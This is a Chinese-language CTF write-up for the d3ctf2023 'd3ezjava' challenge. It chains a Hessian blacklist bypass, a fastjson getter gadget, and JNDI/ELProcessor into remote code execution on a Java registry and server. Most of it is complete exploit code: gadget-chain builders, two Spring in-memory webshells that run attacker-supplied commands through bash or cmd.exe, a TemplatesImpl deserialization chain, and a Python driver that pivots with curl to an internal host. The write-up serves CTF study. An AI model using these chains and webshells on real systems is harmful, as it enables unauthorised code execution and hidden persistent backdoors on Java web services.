Home d3ctf2023-d3ezjava
Post
Cancel

d3ctf2023-d3ezjava

题目简述

  • jdk: 8u342 (高版本)
  • 靶机不出网
  • 攻击流程分为三步:
    • 需要绕过黑名单先打registry
    • 通过一些方式让黑名单为空
    • 打server,flag在server上
  • 难点在于如何绕过黑名单

本地环境搭建

照着registry里的依赖版本和pom.xml,可以写出如下的pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>d3javaweb</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>2.0.24</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>2.6.7</version>
            <exclusions> <!-- remove jackson for springdoc -->
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-json</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>com.alipay.sofa</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.4</version>
        </dependency>

        <dependency>
            <groupId>org.springdoc</groupId>
            <artifactId>springdoc-openapi-ui</artifactId>
            <version>1.6.14</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <version>2.6.7</version>
        </dependency>
    </dependencies>
</project>

攻击registry

发现fastjson

  • hessian_blacklist.txt 91个 (s1)
  • jdk_blacklist.txt 126个 (s2)

我们需要绕s1,所以显然可以从s2里去找

list(s2 - s1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
com.alibaba.fastjson.JSONObject
com.alibaba.fastjson2.JSONObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
com.mysql.jdbc.jdbc2.optional.MysqlDataSource
com.sun.jndi.ldap.LdapAttribute
com.sun.syndication.feed.impl.ObjectBean
java.beans.EventHandler
java.lang.reflect.Proxy
java.net.URL
java.rmi.registry.Registry
java.rmi.server.ObjID
java.rmi.server.RemoteObjectInvocationHandler
java.util.Comparator
java.util.PriorityQueue
javax.management.MBeanServerInvocationHandler
javax.management.openmbean.CompositeDataInvocationHandler
net.sf.json.JSONObject
...

这里发现fastjson还在,这让我们拥有了调getter的能力,去marshalsec和ysomap中找Hessian的各个利用链

  • SpringAbstractBeanFactoryPointcutAdvisor jndi 出网
  • SpringPartiallyComparableAdvisorHolder jndi 出网
  • ROME 没有rome不考虑
  • Resin 调用了getTargetContext 考虑!
  • XBean 没有Xstring 不考虑
  • Groovy(ysomap中)和Resin部分相同 考虑!

寻找toString触发点

接下来还需要触发toString,google搜一下hessian跟toString,发现曾经有道题目和他有关,学一下

" (" + obj + ")" 发生了隐式的toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected IOException expect(String expect, int ch)
        throws IOException
    {
        if (ch < 0)
            return error("expected " + expect + " at end of file");
        else {
            _offset--;

            try {
                int offset = _offset;
                String context = buildDebugContext(_buffer, 0, _length, offset);

                Object obj = readObject();

                if (obj != null) {
                    return error("expected " + expect
                        + " at 0x" + Integer.toHexString(ch & 0xff)
                        + " " + obj.getClass().getName() + " (" + obj + ")"
                        + "\n  " + context + "");
                }
                else
                    return error("expected " + expect
                        + " at 0x" + Integer.toHexString(ch & 0xff) + " null");
            } catch (Exception e) {
                log.log(Level.FINE, e.toString(), e);

                return error("expected " + expect
                    + " at 0x" + Integer.toHexString(ch & 0xff));
            }
        }
    }

搜一下用了expect的,还挺多,干脆fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
67
com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d
77
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
79
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
81
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
85
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
86
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
88
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
112
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
113
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
114
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
115
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
116
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
117
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
118
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d
119
com.caucho.hessian.io.HessianProtocolException: expected integer at 0x4d

本地弹计算器

  • toString之后,整条链就可以串起来了
  • 绕过jdk高版本可以加载本地类,远程类会有限制,最常用的就是tomcat-el那一套
  • 如果遇到报错javax.naming.spi.ContinuationContext must implement java.io.Serializable
    • 可以加选项绕过,允许未实现Serializable的类进行序列化,具体见代码
    • input.getSerializerFactory().setAllowNonSerializable(true);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import com.alibaba.fastjson.JSONObject;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.RemoteException;
import java.util.Hashtable;

import javax.naming.CannotProceedException;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;

import com.alipay.hessian.ClassNameResolver;
import org.apache.naming.ResourceRef;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import com.example.registry.util.HessianSerializer;

public class Test {
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bos);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(obj);
        output.close();
        return bos.toByteArray();
    }

    public static Object deserialize(byte[] obj) throws Exception {
        ByteArrayInputStream is = new ByteArrayInputStream(obj);
        Hessian2Input input = new Hessian2Input(is);
        ClassNameResolver resolver = new ClassNameResolver();
        resolver.addFilter(new HessianSerializer.AntInternalNameBlackListFilter());
        input.getSerializerFactory().setClassNameResolver(resolver);
        return input.readObject();
    }

    public static byte[] addBytes(byte[] data1, byte[] data2) {
        byte[] merge = new byte[data1.length + data2.length];
        System.arraycopy(data1, 0, merge, 0, data1.length);
        System.arraycopy(data2, 0, merge, data1.length, data2.length);
        return merge;
    }

    public static String getCmd(String[] args){
        StringBuilder stringBuilder = new StringBuilder("[");
        for (int i = 0; i < args.length; i++) {
            stringBuilder.append("'");
            stringBuilder.append(args[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("'");
            if (i != args.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("]");
        return stringBuilder.toString();
    }

    public static ResourceRef getRef(String cmd) throws RemoteException, NamingException {
        System.out.println(cmd);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](" + cmd + ").start()\")"));
        return ref;
    }

    public static void main(String[] args)throws Exception{
        String cmd = getCmd(args);
        ResourceRef ref = getRef(cmd);

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe, "cause", null);
        setFieldValue(cpe, "stackTrace", null);
        setFieldValue(cpe, "suppressedExceptions", null);
        cpe.setResolvedObj(ref);

        Object ctx = ccCons.newInstance(cpe, new Hashtable<>());

        // getter
        JSONObject jo = new JSONObject();
        jo.put("111",ctx);

        // toString
        byte[] res = serialize(jo);
        byte[] res1 = addBytes(new byte[]{67}, res);
        deserialize(res1);
    }
}

注入内存马

RCE后,考虑不出网,选择直接加载内存马

由于用的是javax.script.ScriptEngineManager,需要根据语法修改一下逻辑,图方便copy一下 JNDIExploit

该内存马还需要做到其他功能:

  • 拦截/blacklist/jdk/get这个路由
    • 第一次访问需要修改response返回一个没啥用的黑名单数组
    • 第二次访问需要返回恶意payload,在server端植入内存马
  • 本身最好还能自带命令执行的能力

攻击server端

黑名单没有了,直接打BadAttributeValueExpException就行

完整exp

攻击Registry端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import com.alibaba.fastjson.JSONObject;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;

import javax.naming.CannotProceedException;
import javax.naming.StringRefAddr;

import com.alipay.hessian.ClassNameResolver;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.example.registry.util.HessianSerializer;

public class Test {
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bos);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(obj);
        output.close();
        return bos.toByteArray();
    }

    public static Object deserialize(byte[] obj) throws Exception {
        ByteArrayInputStream is = new ByteArrayInputStream(obj);
        Hessian2Input input = new Hessian2Input(is);
        ClassNameResolver resolver = new ClassNameResolver();
        resolver.addFilter(new HessianSerializer.AntInternalNameBlackListFilter());
        input.getSerializerFactory().setClassNameResolver(resolver);
        return input.readObject();
    }

    public static byte[] addBytes(byte[] data1, byte[] data2) {
        byte[] merge = new byte[data1.length + data2.length];
        System.arraycopy(data1, 0, merge, 0, data1.length);
        System.arraycopy(data2, 0, merge, data1.length, data2.length);
        return merge;
    }

    public static byte[] getEvilByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("SpringMemInterceptor");
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        return cc.toBytecode();
    }

    public static String getMemTemplate() throws Exception {
        String classCode = Base64.getEncoder().encodeToString(getEvilByteCode());
        String code = "var bytes;\n" +
                      "str = '" + classCode + "';\n" +
                      "try{\n" +
                      "    var clazz = java.lang.Class.forName('java.util.Base64');\n" +
                      "    var method = clazz.getDeclaredMethod('getDecoder');\n" +
                      "    var obj = method.invoke(null);\n" +
                      "    method = obj.getClass().getDeclaredMethod('decode', java.lang.String.class);\n" +
                      "    obj = method.invoke(obj, str);\n" +
                      "    bytes = obj;\n" +
                      "}catch(err){\n" +
                      "    var clazz = java.lang.Class.forName('sun.misc.BASE64Decoder');\n" +
                      "    var method = clazz.getMethod('decodeBuffer', java.lang.String.class);\n" +
                      "    var obj = method.invoke(clazz.newInstance(), str);\n" +
                      "    bytes = obj;\n" +
                      "}\n" +
                      "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                      "var method = null;\n" +
                      "var clz = classLoader.getClass();\n" +
                      "while(method == null && clz != java.lang.Object.class ){\n" +
                      "     try{\n" +
                      "          method = clz.getDeclaredMethod('defineClass', '123'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                      "     }catch(err){\n" +
                      "         clz = clz.getSuperclass();\n" +
                      "     }\n" +
                      "}\n" +
                      "method.setAccessible(true);\n" +
                      "var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                      "clazz.newInstance();";
        return code;
    }
    public static ResourceRef getRef() throws Exception {
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + getMemTemplate() + "\")"));
        return ref;
    }

    public static void main(String[] args)throws Exception{
        ResourceRef ref = getRef();
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe, "cause", null);
        setFieldValue(cpe, "stackTrace", null);
        setFieldValue(cpe, "suppressedExceptions", null);
        cpe.setResolvedObj(ref);

        Object ctx = ccCons.newInstance(cpe, new Hashtable<>());

        // getter
        JSONObject jo = new JSONObject();
        jo.put("111",ctx);

        // toString
        byte[] res = serialize(jo);
        byte[] res1 = addBytes(new byte[]{67}, res);
        System.out.println(Base64.getEncoder().encodeToString(res1));

//        deserialize(res1);
    }
}
Registry端Interceptor型内存马: SpringMemInterceptor.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;


public class SpringMemInterceptor implements HandlerInterceptor {
    public static int cnt = 0;
    public SpringMemInterceptor() {
        try {
            WebApplicationContext context =
                    (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
//            SimpleUrlHandlerMapping simpleUrlHandlerMapping = context.getBean(SimpleUrlHandlerMapping.class);

            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandlerMapping);
//            List<HandlerInterceptor> simpleAdaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(simpleUrlHandlerMapping);

            MappedInterceptor mappedInterceptor =
                    new MappedInterceptor(new String[]{"/blacklist/jdk/get"}, new SpringMemInterceptor("aaanb"));
            adaptedInterceptors.add(mappedInterceptor);

            //这一步是可选的,只有当你需要在不存在的路由(即controller的url) 上访问该内存马才用.
//            simpleAdaptedInterceptors.add(mappedInterceptor);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public SpringMemInterceptor(String anyStr) {

    }

    public static String encode(byte[] data) throws Exception {
        return Base64.getEncoder().encodeToString(data);
    }
    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return encode(out.toByteArray());
    }


    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } catch (Exception e) {
            }
        }
        else{
            // 第一次返回fake list
            // 第二次注入内存马
            if(cnt % 2 == 0){
                List<String> result = new ArrayList();
                result.add("aaanb");
                PrintWriter writer = response.getWriter();
                String resp = "{\"code\":\"200\",\"message\":\"" + serialize(result) +"\"}";
                writer.write(resp);
                writer.flush();
                writer.close();
            }
            else{
                PrintWriter writer = response.getWriter();
                String res = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxbase64Str";
                String resp = "{\"code\":\"200\",\"message\":\"" + res +"\"}";
                writer.write(resp);
                writer.flush();
                writer.close();
            }
            cnt += 1;
        }
        //返回false的话,整个请求到这里就结束了。
        //  换言之,不再执行后面的拦截器以及Controller的处理.
        //如果返回true,则继续执行后面的拦截器以及Controller的处理.
        return false;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}
Server端反序列化利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.alibaba.fastjson.JSONObject;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

public class ServerRCE {
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);
            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static byte[] getEvilByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("SpringMem");
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        return cc.toBytecode();
    }

    public static String read(String data) {
        try {
            byte[] bytes = Base64.getDecoder().decode(data);
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
        return "success";
    }


    public static String encode(byte[] data) throws Exception {
        return Base64.getEncoder().encodeToString(data);
    }
    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return encode(out.toByteArray());
    }
    public static void main(String[] args)throws Exception{
        byte[] code = getEvilByteCode();
        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl, "_bytecodes", new byte[][]{code});
        setFieldValue(tpl, "_name", "233");
        setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());

        // getter
        JSONObject jo = new JSONObject();
        jo.put("111",tpl);

        // toString
        BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
        setFieldValue(bad,"val", jo);

        System.out.println(serialize(bad));
//        read(serialize(bad));
    }
}
Server端Controller型内存马部分:SpringMem.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class SpringMem {
    // 第一个构造函数
    public SpringMem() throws NoSuchMethodException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象

        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =
                (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = SpringMem.class.getMethod("aaanb");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/godspeed")
                .options(config)
                .build();
        SpringMem springControllerMemShell = new SpringMem("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
    }
    // 第二个构造函数
    public SpringMem(String aaa) {}
    // controller指定的处理方法
    public void aaanb() throws  IOException{
        // 获取request和response对象
        ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes)RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = servletRequestAttributes.getRequest();
        HttpServletResponse response = servletRequestAttributes.getResponse();
        //exec
        try {
            String cmd = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (cmd != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(cmd)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests,time
url = 'http://localhost:10009'

def hook_list():
    r = requests.post(
        url = f'{url}/hessian/deserialize',
        data = {
            'base64Str':'xxx'
        }
    )
    print(r.text)

def rce(payload):
    r = requests.get(
        url = f'{url}/blacklist/jdk/get',
        params = {
            'cmd': payload
        }
    )
    print(r.text)

if __name__ == "__main__":
    rce("id")
    hook_list()
    # update jdk list
    rce("curl http://server:8080/status")
    time.sleep(10.5)    
    # rce server
    rce("curl http://server:8080/status")
    # cat /flag
    
    while True:
        cmd = input('>>>')
        rce("curl http://server:8080/godspeed -X POST -d 'cmd=%s'" % cmd)

总结

Registry端Gadget

1
2
3
4
partial of resin gadget -> 不出网rce
JSONObject -> getter
Hessian2Input#expect -> JSONObject#toString
Hessian2Input#readObject() 遇到数组开头为67的数据,触发Hessian2Input#expect

Server端Gadget

1
2
JSONObject#toString -> TemplatesImpl#getOutputProperties -> rce
BadAttributeValueExpException 触发val字段的toString
This post is licensed under CC BY 4.0 by the author.